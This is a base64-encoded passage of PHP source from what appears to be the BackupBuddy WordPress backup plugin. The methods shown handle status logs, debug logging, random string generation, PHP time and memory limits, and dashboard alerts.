IE51bGwgaWYgc3RhdHVzIGZpbGUgaXNuJ3Qgd3JpdGVhYmxlLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldF9zdGF0dXMoICRzZXJpYWwgPSAnJywgJGNsZWFyX3JldHJpZXZlZCA9IHRydWUsICRlcmFzZV9yZXRyaWV2ZWQgPSB0cnVlLCAkaGlkZV9nZXR0aW5nX3N0YXR1cyA9IGZhbHNlLCAkY29weV9yZXRyaWV2ZWQgPSBmYWxzZSApIHsKCQkvLyBDYWxjdWxhdGUgbG9nIGRpcmVjdG9yeS4KCQkkbG9nX2RpcmVjdG9yeSA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldExvZ0RpcmVjdG9yeSgpOyAvLyBBbHNvIGhhbmRsZXMgd2hlbiBpbXBvcnRidWRkeS4KCgkJJHN0YXR1c19maWxlID0gJGxvZ19kaXJlY3RvcnkgLiAnc3RhdHVzLSc7CgkJaWYgKCAnJyAhPSAkc2VyaWFsICkgewoJCQkkc3RhdHVzX2ZpbGUgLj0gJHNlcmlhbCAuICdfJzsKCQl9CgkJJHN0YXR1c19maWxlIC49IHNlbGY6OiRvcHRpb25zWydsb2dfc2VyaWFsJ10gLiAnLnR4dCc7CgoJCWlmICggISBmaWxlX2V4aXN0cyggJHN0YXR1c19maWxlICkgKSB7CgkJCXJldHVybiBhcnJheSgpOyAvLyBObyBsb2cuCgkJfQoKCQlpZiAoIGZhbHNlID09PSAkaGlkZV9nZXR0aW5nX3N0YXR1cyApIHsKCQkJc2VsZjo6c3RhdHVzKCAnZGV0YWlscycsICdHZXR0aW5nIHN0YXR1cyBmb3Igc2VyaWFsIGAnIC4gJHNlcmlhbCAuICdgLiBDbGVhcjogYCcgLiAoICRjbGVhcl9yZXRyaWV2ZWQgPyAndHJ1ZScgOiAnZmFsc2UnICkgLiAnYCcsICRzZXJpYWwgKTsKCQl9CgoJCS8vIEZJWE1FOiBBdm9pZCBAIHN5bWJvbCBoZXJlLgoJCSRmaCA9IEBmb3BlbiggJHN0YXR1c19maWxlLCAncicgKTsKCQlpZiAoIGZhbHNlICE9PSAkZmggKSB7IC8vIFJlYWQgd3JpdGUgbW9kZS4KCQkJJHN0YXR1c19saW5lcyA9IGFycmF5KCk7CgkJCXdoaWxlICggZmFsc2UgIT09ICggJHN0YXR1c19saW5lID0gZmdldHMoICRmaCApICkgKSB7CgkJCQkkc3RhdHVzX2xpbmVzW10gPSAkc3RhdHVzX2xpbmU7CgkJCX0KCQkJZmNsb3NlKCAkZmggKTsKCgkJCWlmICggdHJ1ZSA9PT0gJGNsZWFyX3JldHJpZXZlZCApIHsKCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCAkc3RhdHVzX2ZpbGUsICcnICk7CgkJCX0KCgkJCWlmICggdHJ1ZSA9PT0gJGVyYXNlX3JldHJpZXZlZCApIHsKCQkJCS8vIEZJWE1FOiBBdm9pZCBAIHN5bWJvbCBoZXJlLiBUcnkvQ2F0Y2ggZXJyb3JzIG9uIHRoaXM/IHN1cHByZXNzPwoJCQkJQHVubGluayggJHN0YXR1c19maWxlICk7CgkJCX0KCgkJCWlmICggZmFsc2UgIT09ICRjb3B5X3JldHJpZXZlZCApIHsKCQkJCUBmaWxlX3B1dF9jb250ZW50cyggJGNvcHlfcmV0cmlldmVkLCAkc3RhdHVzX2xpbmVzLCBGSUxFX0FQUEVORCApOwoJCQl9CgoJCQlyZXR1cm4gJHN0YXR1c19saW5lczsKCQl9IGVsc2UgewoJCQkvLyBUT0RPOiBMb2cgYW4gZXJyb3IgaGVyZT8KCQkJLy8gc2VsZjo6YWxlcnQoICdVbmFibGUgdG8gb3BlbiBmaWxlIGhhbmRsZXIgZm9yIHN0YXR1cyBmaWxlIGAnIC4gJHN0YXR1c19maWxlIC4gJ2AuIFVuYWJsZSB0byB3cml0ZSBzdGF0dXMgbG9nLicgKTsKCQl9Cgl9IC8vIEVuZCBnZXRfc3RhdHVzKCkuCgoJLyoqCgkgKiBEaXNwbGF5cyBhIHRleHRhcmVhIGZvciBwbGFjaW5nIHN0YXR1cyB0ZXh0IGludG8uCgkgKgoJICogQHBhcmFtIHN0cmluZyAkZGVmYXVsdF90ZXh0ICBGaXJzdCBsaW5lIG9mIHRleHQgdG8gZGlzcGxheS4KCSAqIEBwYXJhbSBib29sICAgJGhpZGRlbiAgICAgICAgICBXaGV0aGVyIG9yIG5vdCB0byBhcHBseSBkaXNwbGF5OiBub25lOyBDU1MuCgkgKgoJICogQHJldHVybiBzdHJpbmcgIEhUTUwgZm9yIHRleHRhcmVhLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHN0YXR1c19ib3goICRkZWZhdWx0X3RleHQgPSAnJywgJGhpZGRlbiA9IGZhbHNlICkgewoJCWRlZmluZSggJ1BCX1NUQVRVUycsIHRydWUgKTsgLy8gVGVsbHMgZnJhbWV3b3JrIHN0YXR1cygpIGZ1bmN0aW9uIHRvIG91dHB1dCBmdXR1cmUgbG9nZ2luZyBpbmZvIGludG8gc3RhdHVzIGJveCB2aWEgamF2YXNjcmlwdC4KCQkkcmV0dXJuID0gJzx0ZXh0YXJlYSByZWFkb25seT0icmVhZG9ubHkiIGlkPSJwYl9iYWNrdXBidWRkeV9zdGF0dXMiIHdyYXA9Im9mZiInOwoJCWlmICggdHJ1ZSA9PT0gJGhpZGRlbiApIHsKCQkJJHJldHVybiAuPSAnIHN0eWxlPSJkaXNwbGF5OiBub25lOyAiJzsKCQl9CgkJJHJldHVybiAuPSAnPicgLiAkZGVmYXVsdF90ZXh0IC4gJzwvdGV4dGFyZWE+JzsKCgkJcmV0dXJuICRyZXR1cm47Cgl9IC8vIEVuZCBzdGF0dXNfYm94KCkuCgoJLyoqCgkgKiBTZXRzIGdyZWVkeSBzY3JpcHQgbGltaXRzIHRvIGhlbHAgcHJldmVudCB0aW1lb3V0cywgcnVubmluZyBvdXQgb2YgbWVtb3J5LCBldGMuCgkgKgoJICogQHBhcmFtIGJvb2wgJHN1cHJlc3Nfc3RhdHVzICBEbyBub3Qgc2V0IHN0YXR1cyBtZXNzYWdlLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHNldF9ncmVlZHlfc2NyaXB0X2xpbWl0cyggJHN1cHJlc3Nfc3RhdHVzID0gZmFsc2UgKSB7CgoJCSRyZXF1ZXN0ZWRfc29ja2V0X3RpbWVvdXQgPSA2MCAqIDYwICogMjsKCQkkcmVxdWVzdGVkX2V4ZWN1dGlvbl90aW1lID0gNjAgKiA2MCAqIDI7CgoJCS8vIERvbid0IGFib3J0IHNjcmlwdCBpZiB0aGUgY2xpZW50IGNvbm5lY3Rpb24gaXMgbG9zdC9jbG9zZWQKCQlAaWdub3JlX3VzZXJfYWJvcnQoIHRydWUgKTsKCgkJLy8gU2V0IHNvY2tldCB0aW1lb3V0IHRvIHJlcXVlc3RlZCBwZXJpb2QuCgkJQGluaV9zZXQoICdkZWZhdWx0X3NvY2tldF90aW1lb3V0JywgJHJlcXVlc3RlZF9zb2NrZXRfdGltZW91dCApOwoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdDaGVja2luZyBtYXggUEhQIGV4ZWN1dGlvbiB0aW1lIHNldHRpbmdzLicgKTsKCQkvLyBTZXQgbWF4aW11bSBleGVjdXRpb24gdGltZSB0byByZXF1ZXN0ZWQgcGVyaW9kIGlmIG5vdCBhbHJlYWR5IGJldHRlciB0aGFuIHRoYXQKCQkvLyBTZWUgaWYgd2UgY2FuIGdldCBhIGN1cnJlbnQgdmFsdWUgKG9mIGFueSBzb3J0KQoJCSRvcmlnaW5hbF9leGVjdXRpb25fdGltZSA9IEBpbmlfZ2V0KCAnbWF4X2V4ZWN1dGlvbl90aW1lJyApOwoJCWlmICggZmFsc2UgPT09ICRvcmlnaW5hbF9leGVjdXRpb25fdGltZSApIHsKCQkJJG9yaWdpbmFsX2V4ZWN1dGlvbl90aW1lID0gJ1Vua25vd24nOwoJCX0KCgkJLy8gQ2hlY2sgaWYgd2UgbmVlZCB0byB0cnkgYW5kIHNldC9pbmNyZWFzZS4KCQlpZiAoIGlzX251bWVyaWMoICRvcmlnaW5hbF9leGVjdXRpb25fdGltZSApICYmICggKCAwID09ICRvcmlnaW5hbF9leGVjdXRpb25fdGltZSApIHx8ICggJHJlcXVlc3RlZF9leGVjdXRpb25fdGltZSA8PSAkb3JpZ2luYWxfZXhlY3V0aW9uX3RpbWUgKSApICkgewoJCQkvLyBUaGVyZSBpcyBubyBuZWVkIHRvIGNoYW5nZSBtYXhfZXhlY3V0aW9uX3RpbWUKCQkJaWYgKCBmYWxzZSA9PT0gJHN1cHJlc3Nfc3RhdHVzICkgewoJCQkJaWYgKCBmYWxzZSA9PT0gKCAkY29uZmlndXJlZF9leGVjdXRpb25fdGltZSA9IEBnZXRfY2ZnX3ZhciggJ21heF9leGVjdXRpb25fdGltZScgKSApICkgewoJCQkJCSRjb25maWd1cmVkX2V4ZWN1dGlvbl90aW1lID0gJ1Vua25vd24nOwoJCQkJfQoJCQkJJGN1cnJlbnRfZXhlY3V0aW9uX3RpbWUgPSBAaW5pX2dldCggJ21heF9leGVjdXRpb25fdGltZScgKTsKCQkJCWlmICggZmFsc2UgPT09ICRjdXJyZW50X2V4ZWN1dGlvbl90aW1lICkgewoJCQkJCSRjdXJyZW50X2V4ZWN1dGlvbl90aW1lID0gJ1Vua25vd24nOwoJCQkJfQoJCQkJc2VsZjo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCAnTWF4aW11bSBQSFAgZXhlY3V0aW9uIHRpbWUgd2FzIG5vdCBtb2RpZmllZCcsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQlzZWxmOjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oICdSZXBvcnRlZCBQSFAgZXhlY3V0aW9uIHRpbWUgLSBDb25maWd1cmVkOiAlMSRzOyBPcmlnaW5hbDogJTIkczsgQ3VycmVudDogJTMkcycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkY29uZmlndXJlZF9leGVjdXRpb25fdGltZSwgJG9yaWdpbmFsX2V4ZWN1dGlvbl90aW1lLCAkY3VycmVudF9leGVjdXRpb25fdGltZSApICk7CgkJCX0KCQl9IGVsc2UgeyAvLyBFaXRoZXIgbm90IGEgbnVtZXJpYyB2YWx1ZSBvciB3ZSBuZWVkIHRvIHRyeSBhbmQgaW5jcmVhc2UKCgkJCWlmICggaXNzZXQoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snc2V0X2dyZWVkeV9leGVjdXRpb25fdGltZSddICkgJiYgKCAnMScgPT0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydzZXRfZ3JlZWR5X2V4ZWN1dGlvbl90aW1lJ10gKSApIHsKCQkJCWlmICggZmFsc2UgPT09ICRzdXByZXNzX3N0YXR1cyApIHsKCQkJCQlzZWxmOjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oICdBdHRlbXB0aW5nIHRvIHNldCBQSFAgZXhlY3V0aW9uIHRpbWUgdG8gJTEkcycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkcmVxdWVzdGVkX2V4ZWN1dGlvbl90aW1lICkgKTsKCQkJCX0KCQkJCUBzZXRfdGltZV9saW1pdCggJHJlcXVlc3RlZF9leGVjdXRpb25fdGltZSApOwoJCQl9IGVsc2VpZiAoIGZhbHNlID09PSAkc3VwcmVzc19zdGF0dXMgKSB7Ly8gZW5kIHNldHRpbmcgbWF4IGV4ZWN1dGlvbiB0aW1lCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTa2lwcGVkIGF0dGVtcHRpbmcgdG8gb3ZlcnJpZGUgbWF4IFBIUCBleGVjdXRpb24gdGltZSBiYXNlZCBvbiBzZXR0aW5ncy4nICk7CgkJCX0KCgkJCWlmICggZmFsc2UgPT09ICRzdXByZXNzX3N0YXR1cyApIHsKCQkJCSRjb25maWd1cmVkX2V4ZWN1dGlvbl90aW1lID0gQGdldF9jZmdfdmFyKCAnbWF4X2V4ZWN1dGlvbl90aW1lJyApOwoJCQkJaWYgKCBmYWxzZSA9PT0gJGNvbmZpZ3VyZWRfZXhlY3V0aW9uX3RpbWUgKSB7CgkJCQkJJGNvbmZpZ3VyZWRfZXhlY3V0aW9uX3RpbWUgPSAnVW5rbm93bic7CgkJCQl9CgkJCQkkY3VycmVudF9leGVjdXRpb25fdGltZSA9IEBpbmlfZ2V0KCAnbWF4X2V4ZWN1dGlvbl90aW1lJyApOwoJCQkJaWYgKCBmYWxzZSA9PT0gJGN1cnJlbnRfZXhlY3V0aW9uX3RpbWUgKSB7CgkJCQkJJGN1cnJlbnRfZXhlY3V0aW9uX3RpbWUgPSAnVW5rbm93bic7CgkJCQl9CgkJCQlzZWxmOjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oICdSZXBvcnRlZCBQSFAgZXhlY3V0aW9uIHRpbWUgLSBDb25maWd1cmVkOiAlMSRzOyBPcmlnaW5hbDogJTIkczsgQ3VycmVudDogJTMkcycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkY29uZmlndXJlZF9leGVjdXRpb25fdGltZSwgJG9yaWdpbmFsX2V4ZWN1dGlvbl90aW1lLCAkY3VycmVudF9leGVjdXRpb25fdGltZSApICk7CgkJCX0KCQl9CgoJCS8vIFNldCBtZW1vcnlfbGltaXQgdG8gZWl0aGVyIHRoZSB1c2VyIGRlZmluZWQgKFdvcmRQcmVzcyBkZWZhdWx0ZWQpIG9yIG92ZXItcmlkZGVuIHZhbHVlLgoJCS8vIE5lZWQgdG8gZ2V0IHRoZSBvcmlnaW5hbCB2YWx1ZSBoZXJlIGFzIHdlIHdpbGwgYmUgdXBkYXRpbmcgaXQuCgkJJG9yaWdpbmFsX21lbW9yeV9saW1pdCA9IEBpbmlfZ2V0KCAnbWVtb3J5X2xpbWl0JyApOwoJCWlmICggZmFsc2UgPT09ICRvcmlnaW5hbF9tZW1vcnlfbGltaXQgKSB7CgkJCSRvcmlnaW5hbF9tZW1vcnlfbGltaXQgPSAnVW5rbm93bic7CgkJfQoKCQkvLyBOZWVkIHRvIGNoZWNrIGlmIHdlIGFyZSBydW5uaW5nIG91dHNpZGUgb2YgV29yZFByZXNzIGluIHdoaWNoIGNhc2Ugd2UgZG9uJ3QgdHJ5IGFuZCBjaGFuZ2UgYW55dGhpbmcKCQkvLyBidXQganVzdCByZXBvcnQgdGhlIG1lbW9yeV9saW1pdCB2YWx1ZXMuIFRoZSB1c2VyIHdpbGwgaGF2ZSB0byB1cGRhdGUgY29uZmlnIGlmIG5lY2Vzc2FyeSBiZWNhdXNlCgkJLy8gdGhlcmUgaXMgbm8gb3RoZXIgbWVjaGFuaXNtIHRvIHNldCB0aGUgdmFsaWQgbWVtb3J5X2xpbWl0LgoJCS8vIElmIHdlIGFyZSBydW5uaW5nIHVuZGVyIFdvcmRQcmVzcyB0aGVuIG5lZWQgYSBsaXR0bGUgZmFrZXJ5IGZvciBlYXJsaWVyIHZlcnNpb25zLgoJCWlmICggISBwYl9pc19zdGFuZGFsb25lKCkgKSB7CgkJCS8vIE5vdGU6IFdQX01BWF9NRU1PUllfTElNSVQgd2FzIGludHJvZHVjZWQgV1AzLjIgc28gd2UgbmVlZCB0byBmYWtlIGl0IGlmIGNvbnN0YW50IG5vdCBhbHJlYWR5IGRlZmluZWQKCQkJLy8gVXNlIHRoZSBkZWZhdWx0IHZhbHVlIHRoYXQgV29yZFByZXNzIHVzZXMgaWYgdGhlIHVzZXIgaGFzbid0IGRlZmluZWQgaXQKCQkJaWYgKCAhIGRlZmluZWQoICdXUF9NQVhfTUVNT1JZX0xJTUlUJyApICkgewoJCQkJZGVmaW5lKCAnV1BfTUFYX01FTU9SWV9MSU1JVCcsICcyNTZNJyApOwoJCQl9CgkJCUBpbmlfc2V0KCAnbWVtb3J5X2xpbWl0JywgYXBwbHlfZmlsdGVycyggJ2FkbWluX21lbW9yeV9saW1pdCcsIFdQX01BWF9NRU1PUllfTElNSVQgKSApOwoJCQlpZiAoIGZhbHNlID09PSAkc3VwcmVzc19zdGF0dXMgKSB7CgkJCQlzZWxmOjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oICdBdHRlbXB0ZWQgdG8gc2V0IFBIUCBtZW1vcnkgbGltaXQgdG8gdXNlciBkZWZpbmVkIFdQX01BWF9NRU1PUllfTElNSVQgKCUxJHMpIG9yIG92ZXItcmlkZGVuIHZhbHVlJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksIFdQX01BWF9NRU1PUllfTElNSVQgKSApOwoJCQl9CgkJfQoJCWlmICggZmFsc2UgPT09ICRzdXByZXNzX3N0YXR1cyApIHsKCQkJJGNvbmZpZ3VyZWRfbWVtb3J5X2xpbWl0ID0gQGdldF9jZmdfdmFyKCAnbWVtb3J5X2xpbWl0JyApOwoJCQlpZiAoIGZhbHNlID09PSAkY29uZmlndXJlZF9tZW1vcnlfbGltaXQgKSB7CgkJCQkkY29uZmlndXJlZF9tZW1vcnlfbGltaXQgPSAnVW5rbm93bic7CgkJCX0KCQkJJGN1cnJlbnRfbWVtb3J5X2xpbWl0ID0gQGluaV9nZXQoICdtZW1vcnlfbGltaXQnICk7CgkJCWlmICggZmFsc2UgPT09ICRjdXJyZW50X21lbW9yeV9saW1pdCApIHsKCQkJCSRjdXJyZW50X21lbW9yeV9saW1pdCA9ICdVbmtub3duJzsKCQkJfQoJCQlzZWxmOjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oICdSZXBvcnRlZCBQSFAgbWVtb3J5IGxpbWl0cyAtIENvbmZpZ3VyZWQ6ICUxJHM7IE9yaWdpbmFsOiAlMiRzOyBDdXJyZW50OiAlMyRzJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICRjb25maWd1cmVkX21lbW9yeV9saW1pdCwgJG9yaWdpbmFsX21lbW9yeV9saW1pdCwgJGN1cnJlbnRfbWVtb3J5X2xpbWl0ICkgKTsKCQl9CgoJfSAvLyBFbmQgc2V0X2dyZWVkeV9zY3JpcHRfbGltaXRzKCkuCgoJLyoqCgkgKiBMb2dzIHRvIGEgdGV4dCBmaWxlIGRlcGVuZGluZyBvbiBzZXR0aW5ncy4KCSAqCgkgKiAwID0gbm9uZQoJICogMSA9IGVycm9ycyBvbmx5CgkgKiAyID0gZXJyb3JzICsgd2FybmluZ3MKCSAqIDMgPSBkZWJ1Z2dpbmcgKGFsbCBraW5kcyBvZiBhY3Rpb25zKQoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHRleHQgICAgICBUZXh0IHRvIGxvZy4KCSAqIEBwYXJhbSBzdHJpbmcgJGxvZ190eXBlICBWYWxpZCBvcHRpb25zOiBlcnJvciwgd2FybmluZywgYWxsIChkZWZhdWx0IHNvIG1heSBiZSBvbWl0dGVkKS4KCSAqCgkgKiBAcmV0dXJuIFt0eXBlXSBbZGVzY3JpcHRpb25dCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gbG9nKCAkdGV4dCwgJGxvZ190eXBlID0gJ2FsbCcgKSB7CgkJaWYgKCBkZWZpbmVkKCAnUEJfREVNT19NT0RFJyApIHx8ICEgaXNzZXQoIHNlbGY6OiRvcHRpb25zWydsb2dfbGV2ZWwnXSApIHx8IDAgPT0gc2VsZjo6JG9wdGlvbnNbJ2xvZ19sZXZlbCddICkgeyAvLyBObyBsb2dnaW5nIGluIHRoaXMgcGx1Z2luIG9yIGRpc2FibGVkLgoJCQlyZXR1cm47CgkJfQoKCQkkd3JpdGUgPSBmYWxzZTsKCQlpZiAoIDEgPT0gc2VsZjo6JG9wdGlvbnNbJ2xvZ19sZXZlbCddICkgeyAvLyBFcnJvcnMgb25seS4KCQkJaWYgKCAnZXJyb3InID09PSAkbG9nX3R5cGUgKSB7CgkJCQkkd3JpdGUgPSB0cnVlOwoJCQl9CgkJfSBlbHNlIHsgLy8gQWxsIGxvZ2dpbmcgKGRlYnVnIG1vZGUpLgoJCQkkd3JpdGUgPSB0cnVlOwoJCX0KCgkJaWYgKCB0cnVlID09PSAkd3JpdGUgKSB7CgkJCWlmICggISBpc3NldCggc2VsZjo6JG9wdGlvbnNbJ2xvZ19zZXJpYWwnXSApICkgewoJCQkJc2VsZjo6JG9wdGlvbnNbJ2xvZ19zZXJpYWwnXSA9IHNlbGY6OnJhbmRvbV9zdHJpbmcoIDE1ICk7CgkJCQlzZWxmOjpzYXZlKCk7CgkJCX0KCQkJJGZoID0gQGZvcGVuKCBiYWNrdXBidWRkeV9jb3JlOjpnZXRMb2dEaXJlY3RvcnkoKSAuICdsb2ctJyAuIHNlbGY6OiRvcHRpb25zWydsb2dfc2VyaWFsJ10gLiAnLnR4dCcsICdhJyApOwoJCQlpZiAoICRmaCApIHsKCQkJCWlmICggZnVuY3Rpb25fZXhpc3RzKCAnZ2V0X29wdGlvbicgKSApIHsKCQkJCQkkZ210X29mZnNldCA9IGdldF9vcHRpb24oICdnbXRfb2Zmc2V0JyApOwoJCQkJfSBlbHNlIHsKCQkJCQkkZ210X29mZnNldCA9IDA7CgkJCQl9CgkJCQlmd3JpdGUoICRmaCwgJ1snIC4gZGF0ZSggJ00gaiwgWSBIOmk6cyAnIC4gJGdtdF9vZmZzZXQsIHRpbWUoKSArICggJGdtdF9vZmZzZXQgKiAzNjAwICkgKSAuICctJyAuICRsb2dfdHlwZSAuICddICcgLiAkdGV4dCAuICJcbiIgKTsKCQkJCWZjbG9zZSggJGZoICk7CgkJCX0KCQl9Cgl9IC8vIEVuZCBsb2coKS4KCgkvKioKCSAqIEdlbmVyYXRlIGEgcmFuZG9tIHN0cmluZyBvZiBjaGFyYWN0ZXJzLgoJICoKCSAqIEBwYXJhbSBpbnQgICAgJGxlbmd0aCAgTGVuZ3RoIG9mIHJhbmRvbSBzdHJpbmcuCgkgKiBAcGFyYW0gc3RyaW5nICRjaGFycyAgIENoYXJhY3RlcnMgdG8gaW5jbHVkZSBpbiBzdHJpbmcuCgkgKgoJICogQHJldHVybiBzdHJpbmcgJHN0cmluZyAgUmFuZG9tIHN0cmluZy4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiByYW5kb21fc3RyaW5nKCAkbGVuZ3RoID0gMzIsICRjaGFycyA9ICdhYmNkZWZnaGlqa21ub3BxcnN0dXZ3eHl6MTIzNDU2Nzg5MCcgKSB7CgkJJGNoYXJzX2xlbmd0aCA9ICggc3RybGVuKCAkY2hhcnMgKSAtIDEgKTsKCQkkc3RyaW5nICAgICAgID0gJGNoYXJze3JhbmQoIDAsICRjaGFyc19sZW5ndGggKX07CgkJZm9yICggJGkgPSAxOyAkaSA8ICRsZW5ndGg7ICRpID0gc3RybGVuKCAkc3RyaW5nICkgKSB7CgkJCSRyID0gJGNoYXJze3JhbmQoIDAsICRjaGFyc19sZW5ndGggKX07CgkJCWlmICggJHIgIT0gJHN0cmluZ3skaSAtIDF9ICkgewoJCQkJJHN0cmluZyAuPSAkcjsKCQkJfQoJCX0KCQlyZXR1cm4gJHN0cmluZzsKCX0gLy8gRW5kIHJhbmRvbV9zdHJpbmcoKS4KCgkvKioKCSAqIERpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciB3aGVuIHRoZXkgaG92ZXIgb3ZlciB0aGUgcXVlc3Rpb24gbWFyay4gR3JhY2VmdWxseSBmYWxscyBiYWNrIHRvIG5vcm1hbCB0b29sdGlwLgoJICogSFRNTCBpcyBhbGxvd2VkIHdpdGhpbiB0b29sdGlwcy4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICR2aWRlb19rZXkgIFlvdVR1YmUgdmlkZW8ga2V5IGZyb20gdGhlIFVSTCA/dj1WSURFT19LRVlfSEVSRS4KCSAqIEBwYXJhbSBzdHJpbmcgJHRpdGxlICAgICAgKE9wdGlvbmFsKSBUaXRsZSBvZiBtZXNzYWdlIHRvIHNob3cgdG8gdXNlci4gVGhpcyBpcyBkaXNwbGF5ZWQgYXQgdG9wIG9mIHRpcCBpbiBiaWdnZXIgbGV0dGVycy4gRGVmYXVsdCBpcyBibGFuay4KCSAqIEBwYXJhbSBib29sICAgJGVjaG9fdGlwICAgKE9wdGlvbmFsKSBXaGV0aGVyIHRvIGVjaG8gdGhlIHRpcCAoZGVmYXVsdDsgdHJ1ZSksIG9yIHJldHVybiB0aGUgdGlwIChmYWxzZSkuCgkgKgoJICogQHJldHVybiBtaXhlZCAgSWYgbm90IGVjaG9pbmcgdGlwIHRoZW4gdGhlIHN0cmluZyB3aWxsIGJlIHJldHVybmVkLiBXaGVuIGVjaG9pbmcgdGhlcmUgaXMgbm8gcmV0dXJuLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHZpZGVvKCAkdmlkZW9fa2V5LCAkdGl0bGUgPSAnJywgJGVjaG9fdGlwID0gdHJ1ZSApIHsKCQlzZWxmOjppbml0X2NsYXNzX2NvbnRyb2xsZXIoICd1aScgKTsgLy8gJHVpIGNsYXNzIHJlcXVpcmVkIHBhZ2VzIGNvbnRyb2xsZXIgYW5kIG1heSBub3QgYmUgc2V0IHVwIGlmIG5vdCBpbiBvdXIgb3duIHBhZ2VzLgoJCXJldHVybiBzZWxmOjokdWktPnZpZGVvKCAkdmlkZW9fa2V5LCAkdGl0bGUsICRlY2hvX3RpcCApOwoJfSAvLyBFbmQgdmlkZW8oKS4KCgkvKioKCSAqIEVucXVldWVzIHRoZSByZXF1aXJlZCBzY3JpcHRzIC8gc3R5bGVzIG5lZWRlZCB0byB1c2UgdGhpY2tib3gKCSAqCgkgKiBAcmV0dXJuIG51bGwKCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBlbnF1ZXVlX3RoaWNrYm94KCkgewoJCXNlbGY6OmluaXRfY2xhc3NfY29udHJvbGxlciggJ3VpJyApOyAvLyAkdWkgY2xhc3MgcmVxdWlyZWQgcGFnZXMgY29udHJvbGxlciBhbmQgbWF5IG5vdCBiZSBzZXQgdXAgaWYgbm90IGluIG91ciBvd24gcGFnZXMuCgkJcmV0dXJuIHNlbGY6OiR1aS0+ZW5xdWV1ZV90aGlja2JveCgpOwoJfSAvLyBFbmQgZW5xdWV1ZV90aGlja2JveAoKCS8qKgoJICogRGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGF0IHRoZSB0b3Agb2YgdGhlIHBhZ2Ugd2hlbiBpbiB0aGUgZGFzaGJvYXJkLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJG1lc3NhZ2UgICAgIE1lc3NhZ2UgeW91IHdhbnQgdG8gZGlzcGxheSB0byB0aGUgdXNlci4KCSAqIEBwYXJhbSBib29sICAgJGVycm9yICAgICAgIE9QVElPTkFMISB0cnVlIGluZGljYXRlcyB0aGlzIGFsZXJ0IGlzIGFuIGVycm9yIGFuZCBkaXNwbGF5cyBhcyByZWQuIERlZmF1bHQ6IGZhbHNlLgoJICogQHBhcmFtIHN0cmluZyAkZXJyb3JfY29kZSAgT1BUSU9OQUwhIEVycm9yIGNvZGUgbnVtYmVyIHRvIHVzZSBpbiBsaW5raW5nIGluIHRoZSB3aWtpIGZvciBlYXN5IHJlZmVyZW5jZS4KCSAqIEBwYXJhbSBzdHJpbmcgJHJlbF90YWcgICAgIElmIG5vdCBlY2hvaW5nIGFsZXJ0IHRoZW4gdGhlIHN0cmluZyB3aWxsIGJlIHJldHVybmVkLiBXaGVuIGVjaG9pbmcgdGhlcmUgaXMgbm8gcmV0dXJuLgoJICoKCSAqIEByZXR1cm4gbWl4ZWQgIFN0cmluZyBvciBudWxsLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGFsZXJ0KCAkbWVzc2FnZSwgJGVycm9yID0gZmFsc2UsICRlcnJvcl9jb2RlID0gJycsICRyZWxfdGFnID0gJycgKSB7CgkJc2VsZjo6aW5pdF9jbGFzc19jb250cm9sbGVyKCAndWknICk7IC8vICR1aSBjbGFzcyByZXF1aXJlZCBwYWdlcyBjb250cm9sbGVyIGFuZCBtYXkgbm90IGJlIHNldCB1cCBpZiBub3QgaW4gb3VyIG93biBwYWdlcy4KCQlzZWxmOjokdWktPmFsZXJ0KCAkbWVzc2FnZSwgJGVycm9yLCAkZXJyb3JfY29kZSwgJHJlbF90YWcgKTsKCX0gLy8gRW5kIGFsZXJ0KCkuCgoJLyoqCgkgKiBEaXNtaXNzYWJsZSBhbGVydCBzeXN0ZW0uCgkgKgoJICogQHVzZXMgYWxlcnQoKQoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHVuaXF1ZV9pZCAgVW5pcXVlIElEIGZvciBhbGVydC4KCSAqIEBwYXJhbSBzdHJpbmcgJG1lc3NhZ2UgICAgTWVzc2FnZSB5b3Ugd2FudCB0byBkaXNwbGF5IHRvIHRoZSB1c2VyLgoJICogQHBhcmFtIGJvb2wgICAkZXJyb3IgICAgICBPcHRpb25hbC4gRXJyb3IgY29kZSBudW1iZXIgdG8gdXNlIGluIGxpbmtpbmcgdG8gdGhlIHdpa2kgZm9yIGVhc3kgcmVmZXJlbmNlLgoJICogQHBhcmFtIHN0cmluZyAkbW9yZV9jc3MgICBBZGRpdGlvbmFsIGNzcyB0byBhcHBseSB0byBhbGVydC4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBkaXNhbGVydCggJHVuaXF1ZV9pZCwgJG1lc3NhZ2UsICRlcnJvciA9IGZhbHNlLCAkbW9yZV9jc3MgPSAnJyApIHsKCQlzZWxmOjp